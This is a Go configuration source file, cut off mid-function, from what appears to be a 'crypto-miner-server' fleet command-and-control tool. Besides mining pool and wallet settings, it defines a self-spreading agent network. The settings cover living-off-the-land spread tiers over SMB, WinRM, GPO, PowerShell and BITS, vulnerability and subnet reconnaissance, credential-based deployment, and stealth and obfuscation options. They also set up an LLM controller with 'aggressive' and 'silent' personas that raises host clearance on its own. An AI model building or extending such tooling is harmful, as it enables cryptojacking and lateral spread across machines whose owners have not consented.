Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
1121 lines
42 KiB
Go
1121 lines
42 KiB
Go
package main
|
||
|
||
import (
|
||
"encoding/json"
|
||
"flag"
|
||
"fmt"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
"crypto-miner-server/internal/alerts"
|
||
)
|
||
|
||
type Config struct {
|
||
Port int `json:"port"`
|
||
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
|
||
|
||
Pool PoolConfig `json:"pool"`
|
||
Wallet WalletConfig `json:"wallet"`
|
||
|
||
// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
|
||
RvnPool PoolConfig `json:"rvn_pool,omitempty"`
|
||
RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`
|
||
|
||
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
||
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
||
Background BackgroundConfig `json:"background,omitempty"`
|
||
Alerts AlertsConfig `json:"alerts"`
|
||
Server ServerSettings `json:"server"`
|
||
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
||
// DeploymentCredentials are operator-authorized spread profiles (vault refs only in config).
|
||
DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"`
|
||
}
|
||
|
||
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
||
type TunnelDefaults struct {
|
||
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
|
||
CloudflaredTargetURL string `json:"cloudflared_target_url"`
|
||
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
|
||
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
|
||
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
|
||
}
|
||
|
||
// ServerSettings controls the locally hosted control server (not baked into miners).
|
||
type ServerSettings struct {
|
||
PublicURL string `json:"public_url"`
|
||
StatsRetentionHours int `json:"stats_retention_hours"`
|
||
BuildRetentionDays int `json:"build_retention_days"`
|
||
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
|
||
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
|
||
MaxAgents int `json:"max_agents"`
|
||
MaxBuildSizeMB int `json:"max_build_size_mb"`
|
||
LogAgentConnections bool `json:"log_agent_connections"`
|
||
LogShareSubmissions bool `json:"log_share_submissions"`
|
||
LogPoolTraffic bool `json:"log_pool_traffic"`
|
||
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
||
DashboardSubtitle string `json:"dashboard_subtitle"`
|
||
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
||
ObfuscateDefault bool `json:"obfuscate_default"`
|
||
SignEnabled bool `json:"sign_enabled"`
|
||
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
||
SignToolPath string `json:"sign_tool_path"`
|
||
SignTimestampURL string `json:"sign_timestamp_url"`
|
||
// FleetSecret is a random token generated once on first run and baked into
|
||
// every forged agent binary. Agents must present it on connect or be rejected.
|
||
FleetSecret string `json:"fleet_secret"`
|
||
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
|
||
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
|
||
PublicBuildsEnabled bool `json:"public_builds_enabled"`
|
||
PublicBuildsLatestN int `json:"public_builds_latest_n"`
|
||
// LotlOnionTiers is the server-side ordered spread contingency chain pushed to
|
||
// agents forged with lotl_policy_from_server (LOTL Onion preset).
|
||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
|
||
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
|
||
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
|
||
DNSZone string `json:"dns_zone,omitempty"`
|
||
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
|
||
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
|
||
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
||
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
||
// AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only).
|
||
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
|
||
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
|
||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24 via WS.
|
||
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled"`
|
||
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
|
||
AIEndpoint string `json:"ai_endpoint"`
|
||
// AIModel is the LLM model name for fleet AI control (Calibrate).
|
||
AIModel string `json:"ai_model"`
|
||
// AINoContext forces stateless single-turn decisions (no conversation memory).
|
||
AINoContext bool `json:"ai_no_context"`
|
||
// AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60).
|
||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||
// AIAutoElevateClearance lets the AI scheduler raise clearance for stuck hosts (default true when AI mode).
|
||
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
||
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
|
||
AIPersona string `json:"ai_persona,omitempty"`
|
||
// FleetRolesEnabled splits seeders (LAN staging) from miners (RandomX) with auth hints.
|
||
FleetRolesEnabled bool `json:"fleet_roles_enabled"`
|
||
// HashrateGateSpreadMin is minutes of stable hashrate before agents may autospread.
|
||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"`
|
||
// HashrateGateHPS is the minimum H/s required for hashrate-gated propagation.
|
||
HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
|
||
// ErasureLanesEnabled attaches Reed–Solomon multi-lane shard metadata to signed deploy plans.
|
||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
|
||
SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"`
|
||
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
|
||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||
}
|
||
|
||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||
type WebRTCMeshPolicySettings struct {
|
||
Enabled bool `json:"enabled,omitempty"`
|
||
STUNServers []string `json:"stun_servers,omitempty"`
|
||
RotationHours int `json:"rotation_hours,omitempty"`
|
||
}
|
||
|
||
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
||
type TripleOnionSettings struct {
|
||
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||
PatchFirst bool `json:"patch_first,omitempty"`
|
||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||
}
|
||
|
||
// ServiceDeployLane maps a discovered service to a supply-chain join lane.
|
||
type ServiceDeployLane struct {
|
||
Lane string `json:"lane"`
|
||
Priority int `json:"priority,omitempty"`
|
||
Template string `json:"template,omitempty"`
|
||
}
|
||
|
||
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
||
type PoolEndpoint struct {
|
||
Host string `json:"host"`
|
||
Port int `json:"port"`
|
||
UseTLS bool `json:"use_tls"`
|
||
}
|
||
|
||
type PoolConfig struct {
|
||
Host string `json:"host"`
|
||
Port int `json:"port"`
|
||
UseTLS bool `json:"use_tls"`
|
||
Password string `json:"password"`
|
||
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
|
||
}
|
||
|
||
type WalletConfig struct {
|
||
Address string `json:"address"`
|
||
PaymentID string `json:"payment_id"`
|
||
}
|
||
|
||
type AgentDefaults struct {
|
||
Threads int `json:"threads"`
|
||
ThreadMode string `json:"thread_mode"`
|
||
ThreadPercent int `json:"thread_percent"`
|
||
CPUPriority string `json:"cpu_priority"`
|
||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||
MaxMemoryPct int `json:"max_memory_percent"`
|
||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||
MiningMode string `json:"mining_mode"`
|
||
DisplayMode string `json:"display_mode"`
|
||
ProcessName string `json:"process_name"`
|
||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||
ScheduleStart string `json:"schedule_start"`
|
||
ScheduleEnd string `json:"schedule_end"`
|
||
InstallBase string `json:"install_base"`
|
||
InstallCustomBase string `json:"install_custom_base"`
|
||
InstallRelativePath string `json:"install_relative_path"`
|
||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||
SelfHealing bool `json:"self_healing"`
|
||
FileLogging bool `json:"file_logging"`
|
||
StealthMode bool `json:"stealth_mode"`
|
||
}
|
||
|
||
type BackgroundConfig struct {
|
||
SilentMode bool `json:"silent_mode"`
|
||
RunAs string `json:"run_as"`
|
||
AutoStart bool `json:"auto_start"`
|
||
}
|
||
|
||
type AlertsConfig struct {
|
||
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
||
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||
TelegramBotToken string `json:"telegram_bot_token"`
|
||
TelegramChatID string `json:"telegram_chat_id"`
|
||
WebhookURL string `json:"webhook_url"`
|
||
// Per-event Telegram/email toggles (default true).
|
||
NotifyAgentConnect bool `json:"notify_agent_connect"`
|
||
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
|
||
NotifyAgentOffline bool `json:"notify_agent_offline"`
|
||
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
|
||
NotifyRejectionRate bool `json:"notify_rejection_rate"`
|
||
NotifyBuildComplete bool `json:"notify_build_complete"`
|
||
NotifyKEVExposure bool `json:"notify_kev_exposure"`
|
||
EmailEnabled bool `json:"email_enabled"`
|
||
SMTPHost string `json:"smtp_host"`
|
||
SMTPPort int `json:"smtp_port"`
|
||
SMTPUser string `json:"smtp_user"`
|
||
SMTPPassword string `json:"smtp_password"`
|
||
EmailTo string `json:"email_to"`
|
||
EmailFrom string `json:"email_from"`
|
||
}
|
||
|
||
func DefaultConfig() *Config {
|
||
return &Config{
|
||
Port: 8989,
|
||
DataDir: "data",
|
||
Pool: PoolConfig{
|
||
Host: "pool.supportxmr.com",
|
||
Port: 443,
|
||
UseTLS: true,
|
||
Password: "x",
|
||
BackupPools: []PoolEndpoint{
|
||
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
|
||
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
|
||
},
|
||
},
|
||
Wallet: WalletConfig{
|
||
Address: "",
|
||
PaymentID: "",
|
||
},
|
||
RvnPool: PoolConfig{
|
||
Host: "rvn.2miners.com",
|
||
Port: 6060,
|
||
UseTLS: false,
|
||
Password: "x",
|
||
BackupPools: []PoolEndpoint{
|
||
{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
|
||
{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
|
||
},
|
||
},
|
||
RvnWallet: WalletConfig{
|
||
Address: "",
|
||
},
|
||
DefaultAgent: AgentDefaults{
|
||
Threads: 4,
|
||
ThreadMode: "percent",
|
||
ThreadPercent: 75,
|
||
CPUPriority: "below_normal",
|
||
MaxCPUUsagePct: 80,
|
||
MaxMemoryPct: 70,
|
||
MinFreeRAMMB: 1024,
|
||
MiningMode: "always",
|
||
DisplayMode: "background",
|
||
ProcessName: "",
|
||
IdleThresholdPct: 20,
|
||
IdleDurationMinutes: 5,
|
||
ScheduleStart: "21:00",
|
||
ScheduleEnd: "06:00",
|
||
InstallBase: "localappdata",
|
||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||
AdaptToHardware: true,
|
||
SelfHealing: true,
|
||
FileLogging: true,
|
||
StealthMode: false,
|
||
},
|
||
Background: BackgroundConfig{
|
||
SilentMode: true,
|
||
RunAs: "service",
|
||
AutoStart: true,
|
||
},
|
||
Alerts: AlertsConfig{
|
||
OfflineThresholdMinutes: 5,
|
||
HashrateDropThresholdPct: 50,
|
||
RejectionRateThresholdPct: 5,
|
||
NotifyAgentConnect: true,
|
||
NotifyAgentReconnect: true,
|
||
NotifyAgentOffline: true,
|
||
NotifyHashrateDrop: true,
|
||
NotifyRejectionRate: true,
|
||
NotifyBuildComplete: true,
|
||
NotifyKEVExposure: true,
|
||
},
|
||
Server: ServerSettings{
|
||
PublicURL: "",
|
||
StatsRetentionHours: 168,
|
||
BuildRetentionDays: 30,
|
||
PoolReconnectSeconds: 30,
|
||
WebSocketPingSeconds: 30,
|
||
MaxAgents: 256,
|
||
MaxBuildSizeMB: 150,
|
||
LogAgentConnections: true,
|
||
LogShareSubmissions: false,
|
||
LogPoolTraffic: false,
|
||
StrictWalletValidation: false,
|
||
DashboardSubtitle: "Fleet Command & Control",
|
||
OpenFirewallOnStart: true,
|
||
ObfuscateDefault: false,
|
||
SignEnabled: false,
|
||
SignTimestampURL: "http://timestamp.digicert.com",
|
||
PublicBuildsLatestN: 3,
|
||
LotlOnionTiers: []string{
|
||
"vuln_recon",
|
||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
|
||
"smb", "winrm", "linux", "gpo",
|
||
},
|
||
DNSZone: "internal",
|
||
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
|
||
Enabled: false,
|
||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||
RotationHours: 24,
|
||
},
|
||
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
||
AdaptiveStrategyEnabled: true,
|
||
AIControlEnabled: false,
|
||
AIEndpoint: "http://127.0.0.1:11434/v1",
|
||
AIModel: "",
|
||
AINoContext: true,
|
||
AIDecisionIntervalSec: 60,
|
||
AIAutoElevateClearance: true,
|
||
AIPersona: "balanced",
|
||
FleetRolesEnabled: false,
|
||
},
|
||
}
|
||
}
|
||
|
||
func LoadConfig() *Config {
|
||
cfg := DefaultConfig()
|
||
|
||
port := flag.Int("port", 8989, "Server port")
|
||
dataDir := flag.String("data", "data", "Data directory")
|
||
cliPortExplicit := false
|
||
flag.Parse()
|
||
flag.Visit(func(f *flag.Flag) {
|
||
if f.Name == "port" {
|
||
cliPortExplicit = true
|
||
}
|
||
})
|
||
cliPort := *port
|
||
|
||
// Resolve data dir before reading config.json so relative -data always targets <repo>/data.
|
||
projectRoot := findProjectRoot()
|
||
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
|
||
if cliPortExplicit {
|
||
cfg.Port = cliPort
|
||
}
|
||
|
||
configPath := filepath.Join(cfg.DataDir, "config.json")
|
||
if data, err := os.ReadFile(configPath); err == nil {
|
||
var fileCfg Config
|
||
if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
|
||
fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
|
||
} else {
|
||
// Use mergeConfigExplicit so that boolean fields absent from the file
|
||
// keep their DefaultConfig values instead of being zeroed (H14).
|
||
var presentKeys map[string]json.RawMessage
|
||
_ = json.Unmarshal(data, &presentKeys)
|
||
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
|
||
hydrateLegacyAIConfig(cfg, data)
|
||
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
|
||
cfg.Server.OpenFirewallOnStart = true
|
||
}
|
||
if !strings.Contains(string(data), `"notify_agent_connect"`) {
|
||
cfg.Alerts.NotifyAgentConnect = true
|
||
cfg.Alerts.NotifyAgentReconnect = true
|
||
cfg.Alerts.NotifyAgentOffline = true
|
||
cfg.Alerts.NotifyHashrateDrop = true
|
||
cfg.Alerts.NotifyRejectionRate = true
|
||
cfg.Alerts.NotifyBuildComplete = true
|
||
cfg.Alerts.NotifyKEVExposure = true
|
||
}
|
||
}
|
||
}
|
||
|
||
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
|
||
if cliPortExplicit {
|
||
cfg.Port = cliPort
|
||
}
|
||
|
||
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
||
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
||
}
|
||
hydrateCloudflareTokenFromFile(cfg)
|
||
|
||
return cfg
|
||
}
|
||
|
||
const cloudflaredTokenFile = "cloudflared-token.txt"
|
||
|
||
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt).
|
||
func (c *Config) ConnectorToken() string {
|
||
if c == nil {
|
||
return ""
|
||
}
|
||
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
|
||
return t
|
||
}
|
||
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
|
||
return t
|
||
}
|
||
if c.DataDir != "" {
|
||
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
|
||
if t := strings.TrimSpace(string(data)); t != "" {
|
||
return t
|
||
}
|
||
}
|
||
}
|
||
return ""
|
||
}
|
||
|
||
func hydrateCloudflareTokenFromFile(cfg *Config) {
|
||
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
|
||
return
|
||
}
|
||
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
|
||
if err != nil {
|
||
return
|
||
}
|
||
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
|
||
}
|
||
|
||
func (c *Config) syncCloudflaredTokenFile() {
|
||
if c == nil || c.DataDir == "" {
|
||
return
|
||
}
|
||
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
|
||
if tok == "" {
|
||
return
|
||
}
|
||
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
|
||
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
|
||
}
|
||
|
||
// AlertSettings builds notification settings for the alerts package.
|
||
func (c *Config) AlertSettings() alerts.Settings {
|
||
if c == nil {
|
||
return alerts.Settings{}
|
||
}
|
||
return alerts.NewSettings(alerts.NotifyConfig{
|
||
TelegramBotToken: c.Alerts.TelegramBotToken,
|
||
TelegramChatID: c.Alerts.TelegramChatID,
|
||
WebhookURL: c.Alerts.WebhookURL,
|
||
EmailEnabled: c.Alerts.EmailEnabled,
|
||
SMTPHost: c.Alerts.SMTPHost,
|
||
SMTPPort: c.Alerts.SMTPPort,
|
||
SMTPUser: c.Alerts.SMTPUser,
|
||
SMTPPassword: c.Alerts.SMTPPassword,
|
||
EmailTo: c.Alerts.EmailTo,
|
||
EmailFrom: c.Alerts.EmailFrom,
|
||
}, alerts.EventToggles{
|
||
AgentConnect: c.Alerts.NotifyAgentConnect,
|
||
AgentReconnect: c.Alerts.NotifyAgentReconnect,
|
||
AgentOffline: c.Alerts.NotifyAgentOffline,
|
||
HashrateDrop: c.Alerts.NotifyHashrateDrop,
|
||
RejectionRate: c.Alerts.NotifyRejectionRate,
|
||
BuildComplete: c.Alerts.NotifyBuildComplete,
|
||
KEVExposure: c.Alerts.NotifyKEVExposure,
|
||
})
|
||
}
|
||
|
||
// mergeConfig is the legacy unconditional merge used only as a fallback when no
|
||
// field-presence map is available (i.e. never during API PUT). Boolean fields such
|
||
// as UseTLS are blindly copied from src, meaning a zero-value src resets them to
|
||
// false. Prefer mergeConfigExplicit for all partial-update paths — it only applies
|
||
// a field when that key was explicitly present in the JSON payload.
|
||
func mergeConfig(dst, src *Config) {
|
||
if src.Port != 0 {
|
||
dst.Port = src.Port
|
||
}
|
||
if src.DataDir != "" {
|
||
dst.DataDir = src.DataDir
|
||
}
|
||
if src.Pool.Host != "" {
|
||
dst.Pool.Host = src.Pool.Host
|
||
}
|
||
if src.Pool.Port != 0 {
|
||
dst.Pool.Port = src.Pool.Port
|
||
}
|
||
dst.Pool.UseTLS = src.Pool.UseTLS
|
||
if src.Pool.Password != "" {
|
||
dst.Pool.Password = src.Pool.Password
|
||
}
|
||
if len(src.Pool.BackupPools) > 0 {
|
||
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
||
}
|
||
if src.Wallet.Address != "" {
|
||
dst.Wallet.Address = src.Wallet.Address
|
||
}
|
||
if src.Wallet.PaymentID != "" {
|
||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||
}
|
||
if src.RvnPool.Host != "" {
|
||
dst.RvnPool.Host = src.RvnPool.Host
|
||
}
|
||
if src.RvnPool.Port != 0 {
|
||
dst.RvnPool.Port = src.RvnPool.Port
|
||
}
|
||
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
||
if src.RvnPool.Password != "" {
|
||
dst.RvnPool.Password = src.RvnPool.Password
|
||
}
|
||
if len(src.RvnPool.BackupPools) > 0 {
|
||
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
||
}
|
||
if src.RvnWallet.Address != "" {
|
||
dst.RvnWallet.Address = src.RvnWallet.Address
|
||
}
|
||
if src.DefaultAgent.Threads != 0 {
|
||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||
}
|
||
if src.DefaultAgent.ThreadMode != "" {
|
||
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||
}
|
||
if src.DefaultAgent.ThreadPercent != 0 {
|
||
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||
}
|
||
if src.DefaultAgent.CPUPriority != "" {
|
||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||
}
|
||
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||
}
|
||
if src.DefaultAgent.MaxMemoryPct != 0 {
|
||
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||
}
|
||
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||
}
|
||
if src.DefaultAgent.MiningMode != "" {
|
||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||
}
|
||
if src.DefaultAgent.DisplayMode != "" {
|
||
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||
}
|
||
if src.DefaultAgent.ProcessName != "" {
|
||
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||
}
|
||
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||
}
|
||
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
||
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||
}
|
||
if src.DefaultAgent.ScheduleStart != "" {
|
||
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||
}
|
||
if src.DefaultAgent.ScheduleEnd != "" {
|
||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||
}
|
||
if src.DefaultAgent.InstallBase != "" {
|
||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||
}
|
||
if src.DefaultAgent.InstallCustomBase != "" {
|
||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||
}
|
||
if src.DefaultAgent.InstallRelativePath != "" {
|
||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||
}
|
||
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
|
||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||
}
|
||
dst.Background.SilentMode = src.Background.SilentMode
|
||
if src.Background.RunAs != "" {
|
||
dst.Background.RunAs = src.Background.RunAs
|
||
}
|
||
dst.Background.AutoStart = src.Background.AutoStart
|
||
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||
}
|
||
if src.Alerts.HashrateDropThresholdPct != 0 {
|
||
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||
}
|
||
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||
}
|
||
if src.Alerts.TelegramBotToken != "" {
|
||
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||
}
|
||
if src.Alerts.TelegramChatID != "" {
|
||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||
}
|
||
if src.Alerts.WebhookURL != "" {
|
||
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
||
}
|
||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
||
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
||
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
||
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
||
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
||
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
||
if src.Alerts.SMTPHost != "" {
|
||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||
}
|
||
if src.Alerts.SMTPPort != 0 {
|
||
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||
}
|
||
if src.Alerts.SMTPUser != "" {
|
||
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||
}
|
||
if src.Alerts.SMTPPassword != "" {
|
||
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||
}
|
||
if src.Alerts.EmailTo != "" {
|
||
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||
}
|
||
if src.Alerts.EmailFrom != "" {
|
||
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||
}
|
||
if src.Server.PublicURL != "" {
|
||
dst.Server.PublicURL = src.Server.PublicURL
|
||
}
|
||
if src.Server.StatsRetentionHours != 0 {
|
||
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||
}
|
||
if src.Server.BuildRetentionDays != 0 {
|
||
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||
}
|
||
if src.Server.PoolReconnectSeconds != 0 {
|
||
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||
}
|
||
if src.Server.WebSocketPingSeconds != 0 {
|
||
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||
}
|
||
if src.Server.MaxAgents != 0 {
|
||
dst.Server.MaxAgents = src.Server.MaxAgents
|
||
}
|
||
if src.Server.MaxBuildSizeMB != 0 {
|
||
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||
}
|
||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||
if src.Server.DashboardSubtitle != "" {
|
||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||
}
|
||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||
if src.Server.SignCertThumbprint != "" {
|
||
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||
}
|
||
if src.Server.SignToolPath != "" {
|
||
dst.Server.SignToolPath = src.Server.SignToolPath
|
||
}
|
||
if src.Server.SignTimestampURL != "" {
|
||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||
}
|
||
if src.Server.FleetSecret != "" {
|
||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||
}
|
||
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
||
if src.Server.PublicBuildsLatestN != 0 {
|
||
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
||
}
|
||
if src.TunnelDefaults.CloudflaredTargetURL != "" {
|
||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||
}
|
||
